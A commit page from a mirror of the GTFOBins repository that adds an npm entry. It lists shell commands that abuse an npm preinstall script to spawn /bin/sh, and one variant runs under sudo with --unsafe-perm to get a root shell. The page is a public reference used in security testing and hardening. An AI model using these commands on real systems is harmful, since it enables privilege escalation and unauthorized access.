mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-04 02:38:43 +01:00 
			
		
		
		
	Add npm
This commit is contained in:
		
							
								
								
									
										13
									
								
								_gtfobins/npm.md
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										13
									
								
								_gtfobins/npm.md
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,13 @@
 | 
			
		||||
---
 | 
			
		||||
functions:
 | 
			
		||||
  shell:
 | 
			
		||||
    - code: |
 | 
			
		||||
        TF=$(mktemp -d)
 | 
			
		||||
        echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
 | 
			
		||||
        npm -C $TF i
 | 
			
		||||
  sudo:
 | 
			
		||||
    - code: |
 | 
			
		||||
        TF=$(mktemp -d)
 | 
			
		||||
        echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
 | 
			
		||||
        sudo npm -C $TF --unsafe-perm i
 | 
			
		||||
---
 | 
			
		||||
		Reference in New Issue
	
	Block a user